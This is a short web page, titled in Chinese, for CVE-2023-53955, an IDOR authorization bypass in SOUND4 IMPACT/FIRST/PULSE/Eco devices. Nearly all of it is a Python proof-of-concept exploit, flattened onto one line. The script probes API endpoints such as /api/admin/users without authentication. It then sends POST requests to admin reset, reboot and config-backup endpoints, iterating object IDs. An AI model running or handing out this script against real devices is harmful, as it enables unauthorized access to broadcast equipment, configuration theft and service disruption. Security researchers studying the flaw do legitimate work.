CVE-2023-53955 SOUND4 IMPACT/FIRST/PULSE/Eco IDOR授权绕过漏洞

import requests import sys # CVE-2023-53955 PoC - IDOR in SOUND4 IMPACT/FIRST/PULSE/Eco # Target: SOUND4 devices running firmware v2.x TARGET_IP = "192.168.1.100" # Target device IP TARGET_PORT = 8080 # Default web interface port def check_vulnerability(): """Check if target is vulnerable to CVE-2023-53955""" base_url = f"http://{TARGET_IP}:{TARGET_PORT}" # Attempt to access protected resource without authentication # by manipulating object references endpoints = [ "/api/system/config", "/api/admin/users", "/api/system/status", "/api/presets/0", "/api/settings/advanced" ] print(f"[*] Testing CVE-2023-53955 on {TARGET_IP}:{TARGET_PORT}") for endpoint in endpoints: try: # Direct object reference manipulation response = requests.get(base_url + endpoint, timeout=5) if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint} accessible without auth") print(f" Status: {response.status_code}") print(f" Response length: {len(response.text)} bytes") elif response.status_code == 401: print(f"[-] Protected: {endpoint} requires authentication") else: print(f"[*] Endpoint: {endpoint} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error testing {endpoint}: {e}") def exploit_idor(): """Exploit IDOR to gain unauthorized access""" base_url = f"http://{TARGET_IP}:{TARGET_PORT}" # Example: Access admin functionality via IDOR admin_endpoints = [ "/api/admin/reset", "/api/admin/reboot", "/api/config/backup" ] print("\n[*] Attempting privilege escalation via IDOR...") for endpoint in admin_endpoints: try: # Modify object IDs to access privileged functions for obj_id in range(0, 10): url = f"{base_url}{endpoint}?id={obj_id}" response = requests.post(url, timeout=5) if response.status_code in [200, 201]: print(f"[+] SUCCESS: Accessed {endpoint} with id={obj_id}") print(f" Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_IP = sys.argv[1] check_vulnerability() exploit_idor()